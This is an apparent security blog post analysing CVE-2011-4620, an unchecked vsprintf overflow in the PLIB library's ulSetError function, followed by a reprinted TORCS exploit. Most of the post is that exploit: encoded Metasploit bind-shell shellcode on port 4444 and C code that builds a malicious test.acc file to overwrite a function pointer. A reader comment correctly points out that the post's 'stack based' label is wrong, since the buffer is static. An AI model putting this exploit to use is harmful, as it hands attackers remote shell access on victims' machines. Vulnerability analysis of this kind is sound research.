xorl %eax, %eax

CVE-2011-4620: PLIB Stack Based Buffer Overflow

with 2 comments

This was released as an exploit by Andres Gomez for TORCS which is available here. However, this was a bug located in PLIB library and more specifically in file src/util/ulError.cxx in the code snippet you see below.

static char            _ulErrorBuffer [ 1024 ] = { '\0' } ;
static ulErrorCallback _ulErrorCB = 0 ;
  ...
void ulSetError ( enum ulSeverity severity, const char *fmt, ... )
{
  va_list argp;
  va_start ( argp, fmt ) ;
  vsprintf ( _ulErrorBuffer, fmt, argp ) ;
  va_end ( argp ) ;
 
  if ( _ulErrorCB )
  {
    (*_ulErrorCB)( severity, _ulErrorBuffer ) ;
  }
  else
  {
    fprintf ( stderr, "%s: %s\n",
       _ulSeverityText[ severity ], _ulErrorBuffer ) ;
    if ( severity == UL_FATAL )
    {
#ifdef WIN32
      // A Windows user that does not start the program from the command line
      // will not see output to stderr
      ::MessageBox(0, _ulErrorBuffer, "fatal error!:", 0);
#endif
      exit (1) ;
    }
  }

As you can see the code will always use the statically allocated ‘_ulErrorBuffer[]’ array which has size of 1024 Bytes. Any error messages longer than that will result in stack memory corruption.
This means that if the attacker is able to control even partially an error message’s length he/she would be able to exploit this vulnerability and achieve code execution.

Currently there is no fix for this problem so there is no workaround or patch to discuss. Moving to the exploitation, as I mentioned in the beginning of this post, Andres Gomez has already published an exploit for Windows platform. Let’s have a look…

/* Exploit Title: TORCS acc Buffer Overflow
# Date: 20/12/2011
# Author: Andres Gomez
# Software Link: http://torcs.sourceforge.net/
# Version: torcs 1.3.1
# Tested on: Windows
# CVE : */
 
/*
    This exploit generates a corrupted acc file
    which has to be saved in the directories where
    TORCS loads its data, for example replace
    cars/car4-trb1/car4-trb1.acc and put test.acc or create
    a new car/track and select it in the TORCS menu
*/
 
 
#include <stdio.h>
#include <stdlib.h>
 
/*
   Shellcode: windows/shell_bind_tcp LPORT=4444 -b '\x00\xff\x0a'
   Encoder: x86/shikata_ga_nai
*/
 
unsigned char buf[] =
"\xbd\x2e\xed\xb6\x2d\xdd\xc2\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x56\x83\xee\xfc\x31\x6e\x0f\x03\x6e\x21\x0f\x43\xd1\xd5\x46"
"\xac\x2a\x25\x39\x24\xcf\x14\x6b\x52\x9b\x04\xbb\x10\xc9\xa4"
"\x30\x74\xfa\x3f\x34\x51\x0d\x88\xf3\x87\x20\x09\x32\x08\xee"
"\xc9\x54\xf4\xed\x1d\xb7\xc5\x3d\x50\xb6\x02\x23\x9a\xea\xdb"
"\x2f\x08\x1b\x6f\x6d\x90\x1a\xbf\xf9\xa8\x64\xba\x3e\x5c\xdf"
"\xc5\x6e\xcc\x54\x8d\x96\x67\x32\x2e\xa6\xa4\x20\x12\xe1\xc1"
"\x93\xe0\xf0\x03\xea\x09\xc3\x6b\xa1\x37\xeb\x66\xbb\x70\xcc"
"\x98\xce\x8a\x2e\x25\xc9\x48\x4c\xf1\x5c\x4d\xf6\x72\xc6\xb5"
"\x06\x57\x91\x3e\x04\x1c\xd5\x19\x09\xa3\x3a\x12\x35\x28\xbd"
"\xf5\xbf\x6a\x9a\xd1\xe4\x29\x83\x40\x41\x9c\xbc\x93\x2d\x41"
"\x19\xdf\xdc\x96\x1b\x82\x88\x5b\x16\x3d\x49\xf3\x21\x4e\x7b"
"\x5c\x9a\xd8\x37\x15\x04\x1e\x37\x0c\xf0\xb0\xc6\xae\x01\x98"
"\x0c\xfa\x51\xb2\xa5\x82\x39\x42\x49\x57\xed\x12\xe5\x07\x4e"
"\xc3\x45\xf7\x26\x09\x4a\x28\x56\x32\x80\x5f\x50\xfc\xf0\x0c"
"\x37\xfd\x06\xa3\x9b\x88\xe1\xa9\x33\xdd\xba\x45\xf6\x3a\x73"
"\xf2\x09\x69\x2f\xab\x9d\x25\x39\x6b\xa1\xb5\x6f\xd8\x0e\x1d"
"\xf8\xaa\x5c\x9a\x19\xad\x48\x8a\x50\x96\x1b\x40\x0d\x55\xbd"
"\x55\x04\x0d\x5e\xc7\xc3\xcd\x29\xf4\x5b\x9a\x7e\xca\x95\x4e"
"\x93\x75\x0c\x6c\x6e\xe3\x77\x34\xb5\xd0\x76\xb5\x38\x6c\x5d"
"\xa5\x84\x6d\xd9\x91\x58\x38\xb7\x4f\x1f\x92\x79\x39\xc9\x49"
"\xd0\xad\x8c\xa1\xe3\xab\x90\xef\x95\x53\x20\x46\xe0\x6c\x8d"
"\x0e\xe4\x15\xf3\xae\x0b\xcc\xb7\xdf\x41\x4c\x91\x77\x0c\x05"
"\xa3\x15\xaf\xf0\xe0\x23\x2c\xf0\x98\xd7\x2c\x71\x9c\x9c\xea"
"\x6a\xec\x8d\x9e\x8c\x43\xad\x8a";

Just the Metasploit generated shellcode along with some useful comments. Moving to the code is exactly what you would expect…

// this points to your shellcode
unsigned char function_pointer [] = "\xA8\xCA\x0E\x10";
 
int main(int argc, char **argv) {
 
    FILE *save_fd;
    int i=0;
 
    save_fd = fopen("test.acc", "w");
 
    if (save_fd == NULL) {
        printf("Failed to open '%s' for writing", "test.acc");
        return -1;
    }
 
    fprintf(save_fd, "AC3Db\n");
    fprintf(save_fd, "MATERIAL \"");
    for(i=0; i < 607; i++) {
        putc('\x90', save_fd);
    }
    fprintf(save_fd, "%s%s\" rgb 0.4 0.4 0.4  amb 0.8 0.8 0.8  emis 0.4 0.4 0.4  spec 0.5 0.5 0.5  shi 50  trans 0\n", buf, function_pointer);
    fprintf(save_fd, "OBJECT world\n");
    fprintf(save_fd, "kids %d\n", 5);
 
    close(save_fd);
 
    return 0;
}

It creates a malicious ACC file (named test.acc) which triggers the vulnerability through a ACC file parsing error and results in overwriting the ‘function_pointer[]’ to achieve code execution of the shellcode.

Written by xorl

January 2, 2012 at 09:25

Posted in bugs

2 Responses

Subscribe to comments with RSS.

  1. That’s not a stack-based buffer overflow at all – static buffers are stored in the BSS or data segments, not on the stack.

    caf

    January 19, 2012 at 13:05

  2. You are right. Thanks for the correction.

    xorl

    January 22, 2012 at 23:44


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Follow

Get every new post delivered to your Inbox.

Join 63 other followers